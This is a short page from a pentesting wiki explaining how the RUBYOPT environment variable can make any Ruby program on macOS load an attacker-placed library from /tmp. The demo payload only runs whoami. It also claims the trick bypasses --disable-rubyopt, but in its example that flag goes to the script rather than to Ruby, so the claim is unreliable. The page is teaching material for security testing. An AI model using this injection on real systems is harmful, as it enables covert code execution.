macOS Ruby Applications Injection
Reading time: 2 minutes
tip
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
RUBYOPT
Using this env variable it's possible to add new params to ruby whenever it gets executed. Although the param -e
cannot be used to specify ruby code to execute, it's possible to use the params -I
and -r
to add a new folder to the libraries to load path and then specify a library to load.
Create the library inject.rb
in /tmp
:
puts `whoami`
Create anywahere a ruby script like:
puts 'Hello, World!'
Then make an arbitrary ruby script load it with:
RUBYOPT="-I/tmp -rinject" ruby hello.rb
Fun fact, it works even with param --disable-rubyopt
:
RUBYOPT="-I/tmp -rinject" ruby hello.rb --disable-rubyopt
tip
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.